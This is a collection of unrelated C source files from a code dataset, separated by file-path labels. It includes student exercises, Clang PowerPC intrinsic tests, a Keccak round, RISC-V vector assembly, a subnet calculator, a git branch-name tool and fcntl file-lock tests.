int ref1, ref2, valor, i1, i2;
scanf(" %d %d %d", &ref1, &ref2, &valor);
i1 = procura_indice(ref1);
i2 = procura_indice(ref2);
if (valor > 0 && valor <= rede[i2][i1])
bancos[i2].outV = bancos[i2].outV - valor;
bancos[i1].inV = bancos[i1].inV - valor;
if (bancos[i2].classificacao == MAU)
bancos[i1].inVM = bancos[i1].inVM - valor;
if (bancos[i1].classificacao == MAU)
bancos[i2].outVM = bancos[i2].outVM - valor;
rede[i2][i1] = rede[i2][i1] - valor;
if (rede[i2][i1] == 0 && rede[i1][i2] == 0){
bancos[i2].outP--;
bancos[i1].inP--;
}
}
void emite_listagem()
{
/* Esta funcao emite diferentes listagens de acordo com os tres tipos (1,2,3) definidos no enunciado do projecto, sendo associada ao comando l */
int identif, i, j, rep, n_partn, contador = 0;
scanf(" %d", &identif);
if (identif == 0) {
for (i = 0; i < contador_bancos; i++)
printf("%d %s %d\n", bancos[i].ref, bancos[i].nome, bancos[i].classificacao);
}
else if (identif == 1) {
for (i = 0; i < contador_bancos; i++)
printf("%d %s %d %d %d %d %d %d %d\n", bancos[i].ref, bancos[i].nome, bancos[i].classificacao, bancos[i].inP, bancos[i].outP, bancos[i].outV, bancos[i].outVM, bancos[i].inV, bancos[i].inVM);
}
else {
for (i = 0; i < contador_bancos; i++) {
for (j = 0; j < contador_bancos; j++)
if (rede[i][j] != 0 && rede[j][i] != 0)
rep++;
bancos[i].parceiros = bancos[i].inP + bancos[i].outP - rep;
rep = 0;
}
for (n_partn = 0; n_partn < contador_bancos; n_partn++) {
for (i = 0; i < contador_bancos; i++)
if (bancos[i].parceiros == n_partn)
contador++;
if (contador != 0)
printf("%d %d\n", n_partn, contador);
contador = 0;
}
}
}
void despromover()
{
/* Esta funcao despromove o banco bom em maior dificuldades, utilizando a funcao rating para o classificar como mau, e sendo associada ao comando K. */
int i, pior_investidor = -1;
for (i = 0; i < contador_bancos; i++) {
if (bancos[i].classificacao == BOM)
if (pior_investidor == -1 || bancos[i].outVM >= bancos[pior_investidor].outVM)
pior_investidor = i;
}
if (count_bancos_bons() == 0 || bancos[pior_investidor].outVM == 0)
printf("%d %d\n", contador_bancos, count_bancos_bons());
else {
rating(MAU, bancos[pior_investidor].ref);
printf("*%d %s %d %d %d %d %d %d %d\n", bancos[pior_investidor].ref, bancos[pior_investidor].nome, bancos[pior_investidor].classificacao, bancos[pior_investidor].inP, bancos[pior_investidor].outP, bancos[pior_investidor].outV, bancos[pior_investidor].outVM, bancos[pior_investidor].inV, bancos[pior_investidor].inVM);
printf("%d %d\n", contador_bancos, count_bancos_bons());
}
}
|
the_stack_data/248581640.c
|
// RUN: %clang_cc1 -triple powerpc64-unknown-unknown -emit-llvm %s \
// RUN: -target-cpu pwr7 -o - | FileCheck %s
// RUN: %clang_cc1 -triple powerpc64le-unknown-unknown -emit-llvm %s \
// RUN: -target-cpu pwr8 -o - | FileCheck %s
// RUN: %clang_cc1 -triple powerpc64-unknown-aix -emit-llvm %s \
// RUN: -target-cpu pwr7 -o - | FileCheck %s
// RUN: %clang_cc1 -triple powerpc-unknown-aix -emit-llvm %s \
// RUN: -target-cpu pwr7 -o - | FileCheck %s
// CHECK-LABEL: @mtfsb0(
// CHECK: call void @llvm.ppc.mtfsb0(i32 10)
// CHECK-NEXT: ret void
//
void mtfsb0 () {
__mtfsb0 (10);
}
// CHECK-LABEL: @mtfsb1(
// CHECK: call void @llvm.ppc.mtfsb1(i32 0)
// CHECK-NEXT: ret void
//
void mtfsb1 () {
__mtfsb1 (0);
}
// CHECK-LABEL: @mtfsf(
// CHECK: [[TMP0:%.*]] = uitofp i32 %{{.*}} to double
// CHECK-NEXT: call void @llvm.ppc.mtfsf(i32 8, double [[TMP0]])
// CHECK-NEXT: ret void
//
void mtfsf (unsigned int ui) {
__mtfsf (8, ui);
}
// CHECK-LABEL: @mtfsfi(
// CHECK: call void @llvm.ppc.mtfsfi(i32 7, i32 15)
// CHECK-NEXT: ret void
//
void mtfsfi () {
__mtfsfi (7, 15);
}
// CHECK-LABEL: @fmsub(
// CHECK: [[D_ADDR:%.*]] = alloca double, align 8
// CHECK-NEXT: store double [[D:%.*]], double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP0:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP1:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP2:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP3:%.*]] = call double @llvm.ppc.fmsub(double [[TMP0]], double [[TMP1]], double [[TMP2]])
// CHECK-NEXT: ret double [[TMP3]]
//
double fmsub (double d) {
return __fmsub (d, d, d);
}
// CHECK-LABEL: @fmsubs(
// CHECK: [[F_ADDR:%.*]] = alloca float, align 4
// CHECK-NEXT: store float [[F:%.*]], float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP0:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP1:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP2:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP3:%.*]] = call float @llvm.ppc.fmsubs(float [[TMP0]], float [[TMP1]], float [[TMP2]])
// CHECK-NEXT: ret float [[TMP3]]
//
float fmsubs (float f) {
return __fmsubs (f, f, f);
}
// CHECK-LABEL: @fnmadd(
// CHECK: [[D_ADDR:%.*]] = alloca double, align 8
// CHECK-NEXT: store double [[D:%.*]], double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP0:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP1:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP2:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP3:%.*]] = call double @llvm.ppc.fnmadd(double [[TMP0]], double [[TMP1]], double [[TMP2]])
// CHECK-NEXT: ret double [[TMP3]]
//
double fnmadd (double d) {
return __fnmadd (d, d, d);
}
// CHECK-LABEL: @fnmadds(
// CHECK: [[F_ADDR:%.*]] = alloca float, align 4
// CHECK-NEXT: store float [[F:%.*]], float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP0:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP1:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP2:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP3:%.*]] = call float @llvm.ppc.fnmadds(float [[TMP0]], float [[TMP1]], float [[TMP2]])
// CHECK-NEXT: ret float [[TMP3]]
//
float fnmadds (float f) {
return __fnmadds (f, f, f);
}
// CHECK-LABEL: @fnmsub(
// CHECK: [[D_ADDR:%.*]] = alloca double, align 8
// CHECK-NEXT: store double [[D:%.*]], double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP0:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP1:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP2:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP3:%.*]] = call double @llvm.ppc.fnmsub(double [[TMP0]], double [[TMP1]], double [[TMP2]])
// CHECK-NEXT: ret double [[TMP3]]
//
double fnmsub (double d) {
return __fnmsub (d, d, d);
}
// CHECK-LABEL: @fnmsubs(
// CHECK: [[F_ADDR:%.*]] = alloca float, align 4
// CHECK-NEXT: store float [[F:%.*]], float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP0:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP1:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP2:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP3:%.*]] = call float @llvm.ppc.fnmsubs(float [[TMP0]], float [[TMP1]], float [[TMP2]])
// CHECK-NEXT: ret float [[TMP3]]
//
float fnmsubs (float f) {
return __fnmsubs (f, f, f);
}
// CHECK-LABEL: @fre(
// CHECK: [[D_ADDR:%.*]] = alloca double, align 8
// CHECK-NEXT: store double [[D:%.*]], double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP0:%.*]] = load double, double* [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP1:%.*]] = call double @llvm.ppc.fre(double [[TMP0]])
// CHECK-NEXT: ret double [[TMP1]]
//
double fre (double d) {
return __fre (d);
}
// CHECK-LABEL: @fres(
// CHECK: [[F_ADDR:%.*]] = alloca float, align 4
// CHECK-NEXT: store float [[F:%.*]], float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP0:%.*]] = load float, float* [[F_ADDR]], align 4
// CHECK-NEXT: [[TMP1:%.*]] = call float @llvm.ppc.fres(float [[TMP0]])
// CHECK-NEXT: ret float [[TMP1]]
//
float fres (float f) {
return __fres (f);
}
|
the_stack_data/229825.c
|
/* ethash: C/C++ implementation of Ethash, the Ethereum Proof of Work algorithm.
* Copyright 2018 Pawel Bylica.
* Licensed under the Apache License, Version 2.0. See the LICENSE file.
*/
#include <stdint.h>
/* Implementation based on:
https://github.com/mjosaarinen/tiny_sha3/blob/master/sha3.c
converted from 64->32 bit words*/
const uint32_t keccakf_rndc[24] = {
0x00000001, 0x00008082, 0x0000808a, 0x80008000, 0x0000808b, 0x80000001,
0x80008081, 0x00008009, 0x0000008a, 0x00000088, 0x80008009, 0x8000000a,
0x8000808b, 0x0000008b, 0x00008089, 0x00008003, 0x00008002, 0x00000080,
0x0000800a, 0x8000000a, 0x80008081, 0x00008080, 0x80000001, 0x80008008
};
#define ROTL(x,n,w) (((x) << (n)) | ((x) >> ((w) - (n))))
#define ROTL32(x,n) ROTL(x,n,32) /* 32 bits word */
void keccak_f800_round(uint32_t st[25], const int r)
{
const uint32_t keccakf_rotc[24] = {
1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 2, 14,
27, 41, 56, 8, 25, 43, 62, 18, 39, 61, 20, 44
};
const uint32_t keccakf_piln[24] = {
10, 7, 11, 17, 18, 3, 5, 16, 8, 21, 24, 4,
15, 23, 19, 13, 12, 2, 20, 14, 22, 9, 6, 1
};
uint32_t t, bc[5];
/* Theta*/
uint32_t i = 0, j = 0;
for (i = 0; i < 5; i++)
bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];
i = 0;
for (i = 0; i < 5; i++) {
t = bc[(i + 4) % 5] ^ ROTL32(bc[(i + 1) % 5], 1);
j = 0;
for (j = 0; j < 25; j += 5)
st[j + i] ^= t;
}
/*Rho Pi*/
i = 0;
t = st[1];
for (i = 0; i < 24; i++) {
uint32_t jj = keccakf_piln[i];
bc[0] = st[jj];
st[jj] = ROTL32(t, keccakf_rotc[i]);
t = bc[0];
}
/* Chi*/
j = 0;
for (j = 0; j < 25; j += 5) {
i = 0;
for (i = 0; i < 5; i++)
bc[i] = st[j + i];
i = 0;
for (i = 0; i < 5; i++)
st[j + i] ^= (~bc[(i + 1) % 5]) & bc[(i + 2) % 5];
}
/* Iota*/
st[0] ^= keccakf_rndc[r];
}
|
the_stack_data/108040.c
|
#include <stdio.h>
int main()
{
unsigned int size = 5; // 計算したい要素数
unsigned long long x[] = {
0x1111111111111111,
0x2222222222222222,
0x3333333333333333,
0x4444444444444444,
0x5555555555555555};
unsigned long long *xp = x;
unsigned long long y[] = {
0xbbbbbbbbbbbbbbbb,
0xcccccccccccccccc,
0xdddddddddddddddd,
0xeeeeeeeeeeeeeeee,
0xffffffffffffffff};
unsigned long long *yp = y;
unsigned long long z[size];
unsigned long long *zp = z;
unsigned int vl;
while (size > 0)
{
asm volatile("vsetvli %0, %1, e64, m1"
: "=r"(vl)
: "r"(size));
size -= vl;
asm volatile("vle64.v v1,(%0)" ::"r"(xp));
xp += vl;
asm volatile("vle64.v v2,(%0)" ::"r"(yp));
yp += vl;
asm volatile("vadd.vv v3,v2,v1");
asm volatile("vse64.v v3,(%0)" ::"r"(zp));
asm volatile("vle64.v v4,(%0)" ::"r"(zp)); // 検算
zp += vl;
}
asm volatile("unimp");
return 0;
}
|
the_stack_data/86075037.c
|
/* This file is part of GRAMPC - (https://sourceforge.net/projects/grampc/)
*
* GRAMPC -- A software framework for embedded nonlinear model predictive
* control using a gradient-based augmented Lagrangian approach
*
* Copyright 2014-2019 by Tobias Englert, Knut Graichen, Felix Mesmer,
* Soenke Rhein, Andreas Voelz, Bartosz Kaepernick (<v2.0), Tilman Utz (<v2.0).
* All rights reserved.
*
* GRAMPC is distributed under the BSD-3-Clause license, see LICENSE.txt
*
*/
/* suppress empty translation unit warning */
typedef int make_iso_compilers_happy;
#ifdef FIXEDSIZE
#include "grampc_alloc.h"
#include "grampc_mess.h"
#include "probfct.h"
void grampc_alloc_structs(typeGRAMPC **grampc, typeUSERPARAM *userparam)
{
/* this replaces grampc_alloc_structs from grampc_alloc.c in fixed-size mode */
/* set userparam for compatibility with grampc_alloc.c */
(*grampc)->userparam = userparam;
/* call ocp_dim once during initialization for compatibility with grampc_alloc.c */
ocp_dim(&(*grampc)->param->Nx, &(*grampc)->param->Nu, &(*grampc)->param->Np, &(*grampc)->param->Ng, &(*grampc)->param->Nh, &(*grampc)->param->NgT, &(*grampc)->param->NhT, (*grampc)->userparam);
/* check problem dimensions */
if((*grampc)->param->Nx != NX)
{
grampc_error(INVALID_NX);
}
if((*grampc)->param->Nu != NU)
{
grampc_error(INVALID_NU);
}
if((*grampc)->param->Np != NP)
{
grampc_error(INVALID_NP);
}
if((*grampc)->param->Ng != NG)
{
grampc_error(INVALID_Ng);
}
if((*grampc)->param->Nh != NH)
{
grampc_error(INVALID_Nh);
}
if((*grampc)->param->NgT != NGT)
{
grampc_error(INVALID_NgT);
}
if((*grampc)->param->NhT != NHT)
{
grampc_error(INVALID_NhT);
}
(*grampc)->param->Nc = (*grampc)->param->Ng + (*grampc)->param->Nh + (*grampc)->param->NgT + (*grampc)->param->NhT;
}
void grampc_alloc_fields(typeGRAMPC **grampc, typeUSERPARAM *userparam)
{
/* this replaces grampc_alloc_fields from grampc_alloc.c in fixed-size mode */
}
void grampc_free(typeGRAMPC **grampc)
{
/* this replaces grampc_free from grampc_alloc.c in fixed-size mode */
}
#endif /* FIXEDSIZE */
|
the_stack_data/874956.c
|
//5.Elaborar um algoritmo que lê 2 valores a e b e os escreve com a mensagem: "São múltiplos" ou "Não são múltiplos".
#include <stdio.h>
int main(){
int a, b;
printf("Digite um numero qualquer: ");
scanf("%d", &a);
printf("Digite outro numero qualquer: ");
scanf("%d", &b);
if(a>=b){
for(int i=0; i<a; i++){
if(b*i==a){
printf("Sao Multiplos");
}else{
printf("Nao sao multiplos");
break;
}
}
}
if(b>=a){
for(int i=0; i<b; i++){
if(a*i==b){
printf("Sao Multiplos");
}else{
printf("Nao sao multiplos");
break;
}
}
}
return 0;
}
|
the_stack_data/100679.c
|
/*
* $Id: msg_msgsnd.c,v 1.1 2021-01-27 18:25:10 clib2devs Exp $
*/
#ifdef HAVE_SYSV
#ifndef _SHM_HEADERS_H
#include "shm_headers.h"
#endif /* _SHM_HEADERS_H */
int
_msgsnd(int msgid, const void *msg_ptr, size_t msg_sz, int msgflg)
{
DECLARE_SYSVYBASE();
int ret = -1;
if (__global_clib2->haveShm)
{
ret = msgsnd(msgid, msg_ptr, msg_sz, msgflg);
if (ret < 0)
{
__set_errno(GetIPCErr());
}
}
else
{
__set_errno(ENOSYS);
}
return ret;
}
#endif
|
the_stack_data/187643863.c
|
#include <stdio.h>
#include <stdlib.h>
// umocnovanie v type int
int p(int zaklad, int exponent) {
if (exponent == 0) {
return 1;
} else if (exponent == 1) {
return zaklad;
}
int vysledok = zaklad;
while(exponent-1) {
vysledok*=zaklad;
exponent--;
}
return vysledok;
}
// pauza pred zatvorenim a informovanie pouzivatela
void _exit(int code) {
printf("\n\nStlac akukolvek klavesu pre zatvorenie ...");
getchar();
exit(code);
}
int main() {
int oktet[4] = {0};
int maska[4] = {0};
int maska_;
int i,j,k;
int oktet_n[4] = {0};
int oktet_b[4] = {0};
int oktet_r[4] = {0};
unsigned long max; // unsigned long (ULONG_MAX) presne sedi s maximalnym poctom IPv4
// pouzivatelsky vstup
printf("Zadaj IPv4 a masku (vo formate max. 255.255.255.255/32):\n");
if (scanf("%d.%d.%d.%d/%d",&oktet[0],&oktet[1],&oktet[2],&oktet[3],&maska_) < 5) {
printf("FATAL: Zle formatovany vstup\n");
fflush(stdin); // vyhodi ENTER z bufferu ak chyba
_exit(0);
}
fflush(stdin); // vyhodi ENTER z bufferu ak nebola chyba
// kontrola vstupu
if(maska_>32 || maska_ < 0) {
printf("FATAL: Zle zadana maska (nad 32)\n");
_exit(0);
}
for(i=0;i<4;i++) {
if(oktet[i]>255 || oktet[i] < 0) {
printf("FATAL: Zle zadana adresa (oktet nad 255)\n");
_exit(0);
}
}
// vypocet dlheho tvaru masky
j = maska_;
for(i=0;j>=8;i++) { // ak je maska >= 8 tak bude urcite oktet s 255
maska[i] = 255;
j-=8;
}
if(j>0) { // ak je zvysna maska 1 az 7
k=7; // exponenty dvojky
while(j>0) {
maska[i] += p(2,k); //2^7,2^6,2^5,...
k--;
j--;
}
}
// binarny sucin -> cislo siete
for(i=0;i<4;i++)
oktet_n[i] = maska[i]&oktet[i];
// binarny sucet s inverznou maskou -> broadcast siete
for(i=0;i<4;i++)
oktet_b[i] = 255-maska[i]|oktet[i];
// vypocet max pripojitelnych zariadeni
max = 1;
for(i=0;i<4;i++) {
oktet_r[i] = oktet_b[i] - oktet_n[i] + 1; // +1 aby sa dali prenasobit
max *= oktet_r[i];
}
if (max - 2 < 0) // odpocet broadcastu a cisla siete, lebo to niesu pripojitelne moznosti
max = 0;
else
max -= 2;
// vypis
printf("\nPre IP %d.%d.%d.%d s maskou (netmask) %d plati:\n",oktet[0],oktet[1],oktet[2],oktet[3],maska_);
printf("> Dlhy tvar masky (netmask):\t\t %d.%d.%d.%d\n",maska[0],maska[1],maska[2],maska[3]);
printf("> Inverzna maska (wildcard):\t\t %d.%d.%d.%d\n",255-maska[0],255-maska[1],255-maska[2],255-maska[3]);
printf("> Cislo siete (network):\t\t %d.%d.%d.%d/%d\n",oktet_n[0],oktet_n[1],oktet_n[2],oktet_n[3]); // binarne suciny
printf("> Broadcast siete:\t\t\t %d.%d.%d.%d\n",oktet_b[0],oktet_b[1],oktet_b[2],oktet_b[3]); // binarne sucty s inverznou maskou
printf("> Minimalna priraditelna adresa:\t %d.%d.%d.%d\n",oktet_n[0],oktet_n[1],oktet_n[2],oktet_n[3]+1); // cislo siete + 1
printf("> Maximalna priraditelna adresa:\t %d.%d.%d.%d\n",oktet_b[0],oktet_b[1],oktet_b[2],oktet_b[3]-1); // broadcast siete - 1
printf("> Pocet pripojitelnych zariadeni:\t %lu",max);
_exit(0);
return 0;
}
|
the_stack_data/1158166.c
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
extern int create_process (char* program, char** arg_list);
int main ()
{
char* arg_list[] = {
"ls",
"-l",
"/etc/yum.repos.d/",
NULL
};
create_process ("ls", arg_list);
return 0;
}
|
the_stack_data/1211341.c
|
#include <errno.h>
#include <getopt.h>
#include <libgen.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_NAME "git-branch-name"
#define PATH_MAX 4096
int quiet = 0;
int hash_truncate_length = 1024;
int branch_truncate_length = 1024;
int get_git_dir(char* path, char* path_end);
ssize_t read_first_line_of_file(const char* file, char* out, size_t n);
ssize_t read_first_line_of_file_into_buffer(const char* file);
char* get_git_branch();
char* buffer_start;
char* buffer_end;
char buffer[PATH_MAX + 16];
void show_usage() {
fprintf(stderr, "usage: " CMD_NAME
" [-h <hash-truncate-len>] [-b <branch-truncate-len>] "
"[<starting-dir>]\n");
}
int main(int argc, const char* argv[]) {
// If first arg is --help, show usage
if (argc >= 2 && strncmp(argv[1], "--help", 6) == 0) {
show_usage();
return 0;
}
// Parse arguments
int opt;
while ((opt = getopt(argc, (char* const*)argv, "qh:b:")) != -1) {
switch (opt) {
case 'h':
hash_truncate_length = atoi(optarg);
break;
case 'b':
branch_truncate_length = atoi(optarg);
break;
case 'q':
quiet = 1;
break;
default:
show_usage();
return 2;
}
}
// If a positional argument is given, use it as the starting directory
if (optind < argc) {
chdir(argv[optind]);
}
// Store current directory in buffer
if (getcwd(buffer, PATH_MAX + 1) == NULL) {
if (!quiet) perror(CMD_NAME ": failed to get current directory");
return 1;
}
// Search upwards for directory containing `.git` (and store it in buffer)
buffer_start = buffer;
buffer_end = buffer + strlen(buffer);
if (get_git_dir(buffer_start, buffer_end) < 0) {
return 1;
}
// Append `.git/HEAD` (and store new path in buffer)
char* p = buffer_end;
*p++ = '/';
*p++ = 'H';
*p++ = 'E';
*p++ = 'A';
*p++ = 'D';
*p++ = '\0';
// Read HEAD file (and store result in buffer)
int bytes_read = read_first_line_of_file_into_buffer(buffer_start);
if (bytes_read < 0) {
if (!quiet) perror(CMD_NAME ": failed to read .git/HEAD file");
return 1;
}
// Extract branch (or hash) from HEAD file (and store result in buffer)
if (get_git_branch() == NULL) {
if (!quiet) fprintf(stderr, CMD_NAME ": invalid .git/HEAD file format\n");
return 1;
}
// Print result
printf("%s", buffer_start);
return 0;
}
int get_git_dir(char* path, char* path_end) {
struct stat fs;
// p points to end of buffer
char* p = buffer_end;
// Navigate upward until a path containing a .git subdirectory is found.
while (path < p) {
// Append "/.git\0" to buffer
*p++ = '/';
*p++ = '.';
*p++ = 'g';
*p++ = 'i';
*p++ = 't';
*p++ = '\0';
// If current directory plus ".git" doesn't exist, recurse upward
if (stat(path, &fs) < 0) {
if (errno == ENOENT) {
// Unappend "/.git\0"
p -= 6;
*p = '\0';
// Search backwards for a slash
while (*--p != '/' && path < p) {
};
// Mark slash as new end of string, and recurse
*p = '\0';
continue;
} else {
if (!quiet) perror(CMD_NAME ": stat failed");
return -1;
}
}
// We found a ".git" file or directory
// If ".git" is a directory, we're done
if (S_ISDIR(fs.st_mode)) {
buffer_end = p - 1;
return 0;
}
// If .git is a file, we're in a submodule, so we'll need to read the ".git"
// file, e.g., "gitdir: ../.git/modules/git-branch-name", and the path
// within it.
else if (S_ISREG(fs.st_mode)) {
int bytes_read = read_first_line_of_file_into_buffer(path);
if (bytes_read < 0) {
if (!quiet) perror(CMD_NAME ": failed to read submodule .git file");
return -1;
}
if (bytes_read < 9) {
if (!quiet)
fprintf(stderr, CMD_NAME ": invalid submodule .git file format\n");
return -1;
}
buffer_start += 8; // "gitdir: "
return 0;
} else {
if (!quiet) fprintf(stderr, CMD_NAME ": invalid .git file type\n");
return -1;
}
}
return -1;
}
ssize_t read_first_line_of_file(const char* file, char* out, size_t n) {
FILE* fp = fopen(file, "r");
if (fp == NULL) return -1;
char* r = fgets(out, n, fp);
fclose(fp);
if (r == NULL) return -1;
int bytes_read = strlen(r);
if (bytes_read == 0) return 0;
if (out[bytes_read - 1] == '\n') {
out[bytes_read - 1] = 0;
bytes_read--;
}
return bytes_read;
}
ssize_t read_first_line_of_file_into_buffer(const char* file) {
int bytes_read = read_first_line_of_file(file, buffer, sizeof(buffer));
if (bytes_read <= 0) return bytes_read;
buffer_start = buffer;
buffer_end = buffer + bytes_read;
*buffer_end = 0;
return bytes_read;
}
char* get_git_branch() {
char* p = buffer_start;
// File contains a symbolic reference
if (strncmp(p, "ref: ", 5) == 0) {
p += 5;
int moved = 0;
// Point p to first slash; fail if we didn't find a first slash
while (*p++ != '/') {
if (!*p) return NULL;
moved = 1;
};
if (moved == 0) return NULL;
// Point p to second slash; fail if we didn't find a second slash
moved = 0;
while (*p++ != '/') {
if (!*p) return NULL;
moved = 1;
};
if (moved == 0) return NULL;
// p now points to branch/tag/remote name
buffer_start = p;
// Truncate
if (buffer_end - buffer_start > branch_truncate_length)
buffer_end = buffer_start + branch_truncate_length;
*buffer_end = 0;
return buffer_start;
}
// File contains a raw hash value
// Truncate
if (buffer_end - buffer_start > hash_truncate_length)
buffer_end = buffer_start + hash_truncate_length;
*buffer_end = 0;
return buffer_start;
}
|
the_stack_data/190768563.c
|
#include <stdio.h>
int f();
int main()
{
fprintf(stderr, "my result = %d\n", f());
return !(3 == f());
}
|
the_stack_data/488120.c
|
#include <stdio.h>
#include <unistd.h>
int main()
{
char buf[32] = {0};
readlink("hellow.soft1",buf,sizeof(buf));
//readlink("hello.hard1",buf,sizeof(buf));
printf("buf is %s\n",buf);
unlink("hellow.soft1");
return 0;
}
|
the_stack_data/232956559.c
|
#include <stdio.h>
int main(int argc, char** argv) {
printf("Hello world!!!\n");
return 0;
}
|
the_stack_data/148578660.c
|
void b (int *);
void c (int, int);
void d (int);
int e;
void a (int x, int y)
{
int f = x ? e : 0;
int z = y;
b (&y);
c (z, y);
d (f);
}
void b (int *y)
{
(*y)++;
}
void c (int x, int y)
{
if (x == y)
abort ();
}
void d (int x)
{
}
int main (void)
{
a (0, 0);
exit (0);
}
|
the_stack_data/145453012.c
|
/*
* Data la dimensione del lato, disegnare un quadrato a schermo
* con i caratteri "*"
* Input: lato x
* Output: quadrato disegnato con lato x
*
* (c) Marco Aceti, 2017. Some rights reserved.
* See LICENSE file for more details.
* THE SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.
*/
#include <stdio.h>
int main() {
int x;
int i, h;
printf("Inserisci le dimensioni del lato del quadrato: ");
scanf("%d", &x);
for (i=0; i < x; i++) {
for (h=0; h < x; h++) {
printf("*");
}
printf("\n");
}
return 0;
}
|
the_stack_data/211080812.c
|
#include<stdio.h>
#include<string.h>
int main() {
int a;
int x=1;
int y=2;
int z=3;
x=3;
y=10;
z=5;
if(x>5) {
for(int k=0; k<10; k++) {
y = x+3;
printf("Hello!");
}
} else {
int idx = 1;
}
for(int i=0; i<10; i++) {
printf("Hello World!");
scanf("%d", &x);
if (x>5) {
printf("Hi");
}
for(int j=0; j<z; j++) {
a=1;
}
}
return 1;
}
|
the_stack_data/93887982.c
|
#include <stdio.h>
#include <limits.h>
int main()
{
int c;
int d;
for(c = 2; c < INT_MAX; c++)
{
for(d = 2; d < c; d++)
if(c % d == 0)
goto next;
printf("%d\n", c);
next:;
}
}
|
the_stack_data/215768977.c
|
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
int main() {
int f = open("/test", O_RDWR, 0777);
printf("F_DUPFD: %d\n", fcntl(f, F_DUPFD, 100));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_DUPFD/error1: %d\n", fcntl(50, F_DUPFD, 200));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_DUPFD/error2: %d\n", fcntl(f, F_DUPFD, -1));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_GETFD: %d\n", fcntl(f, F_GETFD));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_SETFD: %d\n", fcntl(f, F_SETFD));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_GETFL: %d\n", fcntl(f, F_GETFL) == O_RDWR);
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_SETFL: %d\n", fcntl(f, F_SETFL, O_APPEND));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_GETFL/2: %d\n", fcntl(f, F_GETFL) == (O_RDWR | O_APPEND));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
struct flock lk;
lk.l_type = 42;
printf("F_GETLK: %d\n", fcntl(f, F_GETLK, &lk));
printf("errno: %d\n", errno);
printf("lk.l_type == F_UNLCK: %d\n", lk.l_type == F_UNLCK);
printf("\n");
errno = 0;
printf("F_SETLK: %d\n", fcntl(f, F_SETLK, &lk));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_SETLKW: %d\n", fcntl(f, F_SETLK, &lk));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_SETOWN: %d\n", fcntl(f, F_SETOWN, 123));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("F_GETOWN: %d\n", fcntl(f, F_GETOWN));
printf("errno: %d\n", errno);
printf("\n");
errno = 0;
printf("INVALID: %d\n", fcntl(f, 123));
printf("errno: %d\n", errno);
return 0;
}
|
the_stack_data/17284.c
|
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
int main(int argc, char ** argv) {
if (argc < 2) {
printf("ERROR: Se debe especeficar la ruta del archivo en los parámetros del programa.\n");
return -1;
}
int fd = open(argv[1], O_CREAT | O_RDWR, 00777);
if (fd == -1) {
printf("ERROR: No se ha podido abrir/crear el fichero.\n");
return -1;
}
struct flock lock;
lock.l_type = F_UNLCK;
lock.l_whence = SEEK_SET;
lock.l_start = 0;
lock.l_len = 0;
lock.l_pid = getpid();
int status = fcntl(fd, F_GETLK, &lock);
if (lock.l_type == F_UNLCK) {
printf("STATUS: Cerrojo desbloqueado.\n");
lock.l_type = F_WRLCK;
lock.l_whence = SEEK_SET;
lock.l_start = 0;
lock.l_len = 0;
lock.l_pid = getpid();
if (fcntl(fd, F_GETLK, &lock) == -1) {
printf("ERROR:No se ha podido crear el cerrojo.\n");
close(fd);
return 1;
} else {
printf("STATUS: Creado cerrojo de escritura\n");
//Write Date
time_t tim = time(NULL);
struct tm *tm = localtime(&tim);
char buffer[1024];
sprintf (buffer, "Hora: %d:%d\n", tm->tm_hour, tm->tm_min);
write(fd, &buffer, strlen(buffer));
sleep(30);
lock.l_type = F_WRLCK;
lock.l_whence = SEEK_SET;
lock.l_start = 0;
lock.l_len = 0;
lock.l_pid = getpid();
